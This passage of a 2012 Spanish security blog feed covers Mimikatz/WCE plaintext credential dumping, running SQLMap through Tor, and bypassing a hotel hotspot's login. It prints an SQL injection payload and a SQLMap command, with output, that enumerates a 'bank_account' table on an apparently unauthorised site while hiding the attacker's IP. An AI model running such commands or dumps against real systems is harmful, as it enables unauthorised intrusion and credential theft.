&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En memoria de &lt;b&gt;Hugo Castellano&lt;/b&gt;, gran defensor de la comunidad hacker y padre del compañero Nico Castellano, que falleció el pasado sábado, y que nos tuvo que recordar a todos lo que somos y que hay que tener el valor de defender lo que uno es en cualquier&amp;nbsp;circunstancia. Gracias Don Hugo, nunca le olvidaremos. Descanse en Paz.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-6515253298541814104?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/03/hackers.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_T4qRpAarC5M/SXjJAbPLbBI/AAAAAAAAAAc/KUtx59z0ij0/s72-c/hacker+inside.jpg" height="72" width="72" /><thr:total>25</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-1718479205345444627</guid><pubDate>Mon, 12 Mar 2012 06:29:00 +0000</pubDate><atom:updated>2012-03-15T14:31:26.268+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">TestDeIntrusion</category><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">SeguridadWindows</category><title>Mimikatz &amp; WCE 1.3beta</title><description>&lt;div style="text-align: justify;"&gt;Hace algo más de un mes, mi compañero &lt;a href="http://laxmarcaellugar.blogspot.com/" target="_blank"&gt;Julio Gómez&lt;/a&gt; nos mandaba a unos cuantos una herramienta llamada &lt;b&gt;&lt;a href="http://blog.gentilkiwi.com/mimikatz" target="_blank"&gt;Mimikatz&lt;/a&gt;&lt;/b&gt;, publicada en Frances, que decía poder extraer las contraseñas de Windows de la memoria. Tras unas cuantas horas de pruebas, IDA, y ver un poco que hacía, parece que efectivamente la herramienta hacía lo que decía hacer.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Fruto de las pruebas, otro compañero, &lt;a href="http://www.areopago21.org/" target="_blank"&gt;Ramón Pinuaga&lt;/a&gt;, escribía en &lt;a href="http://blog.s21sec.com/2012/02/se-acabo-el-pass-hash.html" target="_blank"&gt;el blog de S21sec&lt;/a&gt; un articulo donde comentaba el descubrimiento de la herramienta, la técnica que empleaba, y algunas de las pruebas que hicimos con ella.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ahora, algunas semanas después, una &lt;a href="http://hexale.blogspot.com/2012/03/wce-v13beta-32bit-released.html" target="_blank"&gt;actualización de una de mis herramientas favoritas&lt;/a&gt;: &lt;b&gt;&lt;a href="http://www.ampliasecurity.com/research.html" target="_blank"&gt;Windows Credential Editor (WCE)&lt;/a&gt;&lt;/b&gt; de &lt;a href="http://hexale.blogspot.com/" target="_blank"&gt;Hernán Ochoa&lt;/a&gt;, de la que &lt;a href="http://www.pentester.es/2010/10/wce-windows-credential-editor.html" target="_blank"&gt;ya he hablado en otras ocasiones&lt;/a&gt;, incorpora esta técnica y es capaz de obtener las credenciales en texto claro mediante la nueva opción &lt;b&gt;-w&lt;/b&gt;:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-gnmLEwuTopE/T1ou2OEuyCI/AAAAAAAAAnQ/QfgGPkCpBpY/s1600/Opciones.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="169" src="http://3.bp.blogspot.com/-gnmLEwuTopE/T1ou2OEuyCI/AAAAAAAAAnQ/QfgGPkCpBpY/s320/Opciones.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En estos momentos, la versión 1.3, que es la que soporta esta nueva funcionalidad, se encuentra en estado Beta, y únicamente disponible en su versión de 32 bits, aunque todos esperamos poder verla pronto disponible para 64 bits.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;&amp;gt; &lt;b&gt;wce.exe -w&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-437rfcY74pY/T1owW4PxDWI/AAAAAAAAAnY/TTE-8cnKE_E/s1600/Dump.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="114" src="http://4.bp.blogspot.com/-437rfcY74pY/T1owW4PxDWI/AAAAAAAAAnY/TTE-8cnKE_E/s320/Dump.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Según he podido leer tanto en el blog del autor de Mimikatz, la información que conozco sobre WCE y un poquito de IDA, la técnica empleada originariamente por Mimikatz sería muy similar (por no decir idéntica) a la empleada tradicionalmente por WCE, salvo que a éste último se le habría añadido la funcionalidad de consultar otros Security Packages además de MSV1_0, concretamente &lt;b&gt;WDigest&lt;/b&gt;, de donde se pueden obtener las credenciales en texto claro. La otra posibilidad, que era la de obtener las credenciales a través de Tspkg no ha sido implementada, imagino que porque esta última requiere que el sistema sea un Windows Vista o superior, mientras que en el caso de WDigest la técnica funcionaría con cualquier equipo Windows XP o superior.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;No nos olvidemos que para que estas credenciales hayan sido almacenadas en memoria es necesario que &lt;b&gt;el usuario haya hecho login en la máquina físicamente o a través de Terminal Server&lt;/b&gt;&amp;nbsp;en algún momento tras el último reinicio de la máquina. Las autenticaciones a través de red almacenarían esta contraseña, ya que esta ni siquiera llegaría a ser transmitida a este equipo.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En el próximo post, algunas "jugadas" que podemos hacer empleando esta técnica.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Actualización&lt;/u&gt;: En los comentarios del post podeis ver una explicación muy completa que ha realizado Hernan Ochoa, autor de WCE, sobre el funcionamiento del mismo, con todas las referencias necesarias para comprender el proceso. También nos anuncia que ya ha liberado la &lt;a href="http://www.ampliasecurity.com/research/wce_v1_3beta_x64.tgz" target="_blank"&gt;versión para 64&lt;/a&gt; bits de la nueva versión de la herramienta.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-1718479205345444627?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/03/mimikatz-wce-13beta.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-gnmLEwuTopE/T1ou2OEuyCI/AAAAAAAAAnQ/QfgGPkCpBpY/s72-c/Opciones.png" height="72" width="72" /><thr:total>8</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-492878614125101903</guid><pubDate>Thu, 08 Mar 2012 07:47:00 +0000</pubDate><atom:updated>2012-03-08T08:47:39.856+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">SeguridadWEB</category><title>SQLMap con Tor</title><description>&lt;div style="text-align: justify;"&gt;Cada vez que oigo la palabra TOR me acuerdo de dos cosas: La primera es de la película "&lt;a href="http://en.wikipedia.org/wiki/Blue_Thunder" target="_blank"&gt;El Trueno Azul&lt;/a&gt;", y de Frank Murpy y su "JAFO". La película es antigua antigua, pero es una de esas que se te quedan en la retina cuando eres niño.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://upload.wikimedia.org/wikipedia/commons/thumb/d/db/Blue_Thunder_1999_Left_View.jpg/220px-Blue_Thunder_1999_Left_View.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://upload.wikimedia.org/wikipedia/commons/thumb/d/db/Blue_Thunder_1999_Left_View.jpg/220px-Blue_Thunder_1999_Left_View.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La segunda es de una frase de &lt;a href="http://twitter.com/pof" target="_blank"&gt;@pof&lt;/a&gt;&amp;nbsp;en la mesa redonda en la que participó en la &lt;a href="http://noconname.org/" target="_blank"&gt;NoConName&lt;/a&gt; de este pasado año: "&lt;b&gt;&lt;i&gt;La primera comilla desde casa, el resto desde TOR&lt;/i&gt;&lt;/b&gt;".&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La verdad es que por suerte o por desgracia, a todos los interesados por la seguridad se nos escapa una comilla de vez en cuando, y nos damos cuenta, casi sin querer, de lo fácil que es vulnerar la seguridad de algunos sitios. Yo aporreo el teclado al azar y la mitad de las veces me sale un &lt;b&gt;' OR '1'='1&lt;/b&gt; , no lo puedo evitar :P&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Lamentablemente, la legislación hoy en día nos lo pone difícil, ya que una vez encontrado uno de estos fallos hay que ser valiente para reportarlo. Existen mecanismos, como los CERTs y las Fuerzas y Cuerpos de Seguridad del Estado, sobretodo si quedan "a la vista" datos sensibles de ciudadanos. No obstante, aunque estas entidades nos garanticen el anonimato, la empresa afectada siempre podría buscar en sus logs y acabar viendo tu IP. Aquí es donde entra &lt;b&gt;&lt;a href="https://www.torproject.org/" target="_blank"&gt;TOR&lt;/a&gt;&lt;/b&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-vMPzd39mzHQ/T1hd23CZsJI/AAAAAAAAAnA/RVRw2_1qX9s/s1600/paneltor.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="278" src="http://4.bp.blogspot.com/-vMPzd39mzHQ/T1hd23CZsJI/AAAAAAAAAnA/RVRw2_1qX9s/s320/paneltor.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En algún otro post nos meteremos a fondo con como funciona la red TOR, pero para ser prácticos diremos que es un proxy que nos instalamos en nuestro equipo al que podamos conectarnos, y que hace que nuestras conexiones salgan a través de diferentes nodos de la red, distribuidos por todo el mundo. Para saber a que puerto y mediante que protocolo funciona este proxy, simplemente tenemos que ir a las preferencias de red del navegador Firefox que viene con TOR y ver como está configurado:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-MnsyqWIQf9E/T1heg8gVCDI/AAAAAAAAAnI/_xdJt_6VQv8/s1600/Firefox.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-MnsyqWIQf9E/T1heg8gVCDI/AAAAAAAAAnI/_xdJt_6VQv8/s320/Firefox.png" width="314" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Algunas herramientas, como SQLMap, ya incorporan directamente soporte para que las utilicemos a través de TOR, aunque podríamos adaptar cualquier herramienta que suporte el uso de proxy SOCKSv5. De esta forma, mediante las opciones --tor, --tor-port y --tor-type podemos configurar SQLMap para que funcione a través de la red TOR, y así olvidarnos de los problemas que podamos tener:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;i&gt;$ &lt;b&gt;./sqlmap.py -u "http://xxx.yyy.zzz.www/check.php?order=123456" -p order --tor --check-tor --tor-port=50247 --tor-type=SOCKS5 -D checkdb -T&amp;nbsp;bank_account&amp;nbsp;--columns&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;br /&gt;
&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;[02:14:51] [WARNING] increasing default value for --time-sec to 10 because switch '--tor' was provided&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[02:14:52] &lt;b&gt;[INFO] setting Tor SOCKS proxy settings&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[02:14:52] &lt;b&gt;[INFO] checking Tor connection&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[02:14:54] &lt;b&gt;[INFO] Tor is properly being used&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[02:14:54] [INFO] using '/opt/sqlmap/output/xxx.yyy.zzz.www/session' as session file&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[02:14:54] [INFO] resuming injection data from session file&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[02:14:55] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[02:14:55] [INFO] testing connection to the target url&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;[02:14:58] [INFO] the back-end DBMS is MySQL&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;web server operating system: Linux CentOS 5&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;web application technology: Apache, PHP 5.2.10, Apache 2.2.3&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;back-end DBMS: MySQL 5.0.11&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;br /&gt;
&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;Database: checkdb &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Table: &lt;b&gt;bank_account&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[3 columns]&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;+------------------------+---------------+&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;| Column &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| Type &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;+------------------------+---------------+&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;| &lt;b&gt;account_name&lt;/b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| varchar(32) |&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;| &lt;b&gt;account_number &lt;/b&gt;&amp;nbsp;| varchar(32) |&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;| id &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;| int(11) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;+------------------------+---------------+&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"Aguita" como están las cosas por ahí fuera, no quiero ni mirar la tabla :)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Que nadie se olvide que este tipo de medidas sirven para que la empresa no tenga la tentación de querer pagar con nosotros la rabia de tener a la guardia civil encima por un incumplimiento de la LOPD, pero si la lias MUY PARDA entonces ya entra la policía, los ISPs, la colaboración internacional, el profiling, en fin... que no la lieis parda xD&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Eso es todo. &lt;a href="http://es.wikipedia.org/wiki/Hill_Street_Blues" target="_blank"&gt;Tenga cuidado ahí fuera!&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-492878614125101903?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/03/sqlmap-con-tor.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-vMPzd39mzHQ/T1hd23CZsJI/AAAAAAAAAnA/RVRw2_1qX9s/s72-c/paneltor.png" height="72" width="72" /><thr:total>7</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-4169573933574580984</guid><pubDate>Mon, 05 Mar 2012 06:26:00 +0000</pubDate><atom:updated>2012-03-05T07:30:19.097+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SeguridadInalambrica</category><title>ByPass cutre-HotSpot</title><description>&lt;div style="text-align: justify;"&gt;Como todos los que viajais algo por ahí como yo sabeis, en los hoteles está de moda ofrecer conexión a Internet (Bien!) a través de HotSpots de pago (Ouch!). Yo nunca he sido usuario de esta tecnología, porque por suerte tengo un pincho 3G y como cuando voy de hoteles tampoco suelo necesitar descargarme nada, me resulta más que suficiente.&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;Sin embargo, el tema de la seguridad de los HotSpot es algo que siempre oigo en boca de todos, que si tunelización por DNS (lento, lento, lento...), que si sniffar la red y hacer un MAC Spoofing para suplantar a un usuario legítimo, ... pero nunca había&amp;nbsp;oído&amp;nbsp;algo como lo que me encontré el otro día:&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-cjXPiQ2Xk5E/T1KGGPSo_wI/AAAAAAAAAmY/MGX2NXs4dwU/s1600/001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="545" src="http://3.bp.blogspot.com/-cjXPiQ2Xk5E/T1KGGPSo_wI/AAAAAAAAAmY/MGX2NXs4dwU/s640/001.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
Hasta ahí todo normal ¿verdad? Hemos conectado a una Wifi abierta (nunca entenderé por qué...), y al intentar visitar cualquier página, por ejemplo Google, el HotSpot nos salta y nos pide usuario y contraseña.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como una de las técnicas típicas que siempre se oyen es lo de "pues te pones la Mac de alguien que esté conectado y a correr!", quise pegarle un vistazo a ver cuantas personas estaban conectadas a ésta misma Wifi. Lo podría haber sacado con Airodump o algún otro software similar, pero ya que estaba conformado, me conformé con usar NMap.&lt;/div&gt;&lt;br /&gt;
&lt;i&gt;#&amp;nbsp;nmap -sP 10.0.0.0/22&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;Nmap done: 256 IP addresses (24 hosts up) scanned in 206.54 seconds&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;De primeras me llamó la atención de que hubiera tanta gente conectada ¿tan lleno estaría el hotel? Me decidí a pegarle un vistazo en detenimiento a los equipos, para ver si dejaba de tener esa sensación de "oler a bug" que suelo tener en estas situaciones.&lt;/div&gt;&lt;br /&gt;
&lt;i&gt;# nmap -sS -PN -T5 -p 1-65535 10.0.0.69&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Nmap scan report for localhost (10.0.0.69)&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;Host is up (0.000068s latency).&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;Not shown: 65533 closed ports&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;PORT &amp;nbsp; &amp;nbsp; &amp;nbsp;STATE SERVICE&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;53/tcp &amp;nbsp; &amp;nbsp; &amp;nbsp; open &amp;nbsp;domain&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;80/tcp &amp;nbsp; &amp;nbsp; &amp;nbsp; open &amp;nbsp;www-http&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;3129/tcp &amp;nbsp; open &amp;nbsp;squid&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;8080/tcp &amp;nbsp; open &amp;nbsp;http-proxy&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;Mmmm, ¿un equipo de usuario con los puertos 53, 80, 3129, 8080 abiertos? Uy que peste...&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La misma situación se puede observar para todos los equipos conectado a la wifi, así que podemos deducir que ABSOLUTAMENTE TODAS las conexiones que pasan a través del AP son redirigidas a la pantalla de login del HotSpot, siempre que sea una conexión a alguno de estos puertos.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;¿Podré conectarme a casa por VPN? ¿Y usar el correo por el puerto de IMAPs? ¿Y bajarme cosas del Emule?&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como podeis imaginar, la respuesta es SI, &lt;b&gt;va a funcionar sin emplear ningún tipo de técnica, siempre y cuando los servicios a los que accedes no estén en ninguno de estos cuatro puertos&lt;/b&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Pero... ¿y si queremos navegar? La verdad es que este HotSpot es nuestro amigo y nos ayuda a mejorar nuestro nivel de seguridad, y más tratándose de una Wifi compartida, ya que nos obliga a emplear HTTPS para visitar las webs, ya que al ir por el puerto 443, no está dentro de los puertos "capturables", y por tanto vamos a poder salir a Internet de una forma segura... y gratis ¿qué más se puede pedir?&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-fiJBSd3CyNA/T1KMW-PYa4I/AAAAAAAAAmg/7wAxVIMYVi4/s1600/002.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="548" src="http://2.bp.blogspot.com/-fiJBSd3CyNA/T1KMW-PYa4I/AAAAAAAAAmg/7wAxVIMYVi4/s640/002.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Ya podemos navegar, entrar en nuestro correo de GMail, visitar FaceBook, y en general cualquier web que tenga opción de ser visitada empleando HTTPS, que no son todas, pero si las más "imprescindibles".&lt;br /&gt;
&lt;br /&gt;
¿Y si la web que queremos ver no dispone de HTTPS? Bueno, siempre podemos intentar acceder a alguna que sí que podamos acceder por HTTPS, y que desde esta nos muestre el contenido de la web que queremos ver. Un ejemplo, aunque no muy cómodo, es usar la propia caché de Google, consultada a través de HTTPS.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-QgEfvtgxgvA/T1KNuMyxGiI/AAAAAAAAAm4/f0b3mXyRY1w/s1600/003.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="548" src="http://3.bp.blogspot.com/-QgEfvtgxgvA/T1KNuMyxGiI/AAAAAAAAAm4/f0b3mXyRY1w/s640/003.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
Pues la verdad es que es mucho más sencillo de lo que pensaba, al menos con el fabricante de estos HotSpots ¿&amp;nbsp;Habéis&amp;nbsp;jugado&amp;nbsp;con los HotSpots? ¿&amp;nbsp;Tenéis&amp;nbsp;alguno cerca? ¿&amp;nbsp;probáis&amp;nbsp;esto y me decís?&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Imagino que esto será un error de diseño de este fabricante de HotSpots en concreto, pero por asegurarnos...&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-4169573933574580984?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2012/03/bypass-cutre-hotspot.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-cjXPiQ2Xk5E/T1KGGPSo_wI/AAAAAAAAAmY/MGX2NXs4dwU/s72-c/001.png" height="72" width="72" /><thr:total>12</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-6373638857844855877</guid><pubDate>Tue, 28 Feb 2012 06:55:00 +0000</pubDate><atom:updated>2012-02-28T07:55:49.144+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">GSIC</category><category domain="http://www.blogger.com/atom/ns#">Conferencias</category><title>Covert Channels over Social Networks</title><description>&lt;div style="text-align: justify;"&gt;Como &lt;a href="http://www.pentester.es/2012/01/facecat-en-gsic-la-coruna.html" target="_blank"&gt;ya anunciamos hace algunas semanas&lt;/a&gt;, este pasado fin de semana estuve dando la charla "&lt;b&gt;Covert Channels over Social Network&lt;/b&gt;" en las &lt;b&gt;&lt;a href="http://gsicoruna.com/info.html" target="_blank"&gt;Conferencias GSIC&lt;/a&gt;&lt;/b&gt;, en A Coruña.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ante todo, gracias a la organización por invitarme a asistir y por el buen trato recibido.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Dicho esto, las slides que utilicé pueden descargarse de &lt;a href="https://sites.google.com/site/pentesteres/Home/pentester-es/GSIC_FaceCat.pdf?attredirects=0&amp;amp;d=1" target="_blank"&gt;&lt;b&gt;AQUÍ&lt;/b&gt;&lt;/a&gt;, aunque podeis ver el video de ellas con las transiciones en el siguiente video:&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;iframe class="youtube-player" frameborder="0" height="385" src="http://www.youtube.com/embed/1ehLP2Cj6U4" type="text/html" width="640"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="text-align: justify;"&gt;También ha sido publicado ya el video de la charla completa que dí en las &lt;a href="http://www.sourceconference.com/barcelona/" target="_blank"&gt;Conferencias SOURCE&lt;/a&gt; en Barcelona, el pasado año, que básicamente es la misma que la que he dado en GSIC:&lt;/div&gt;&lt;br /&gt;
&lt;div style="text-align: center;"&gt;&lt;iframe allowfullscreen="" frameborder="0" height="443" src="http://blip.tv/play/AYLl2BAC.html?p=1" width="550"&gt;&lt;/iframe&gt;&lt;embed src="http://a.blip.tv/api.swf#AYLl2BAC" style="display: none;" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/div&gt;&lt;br /&gt;
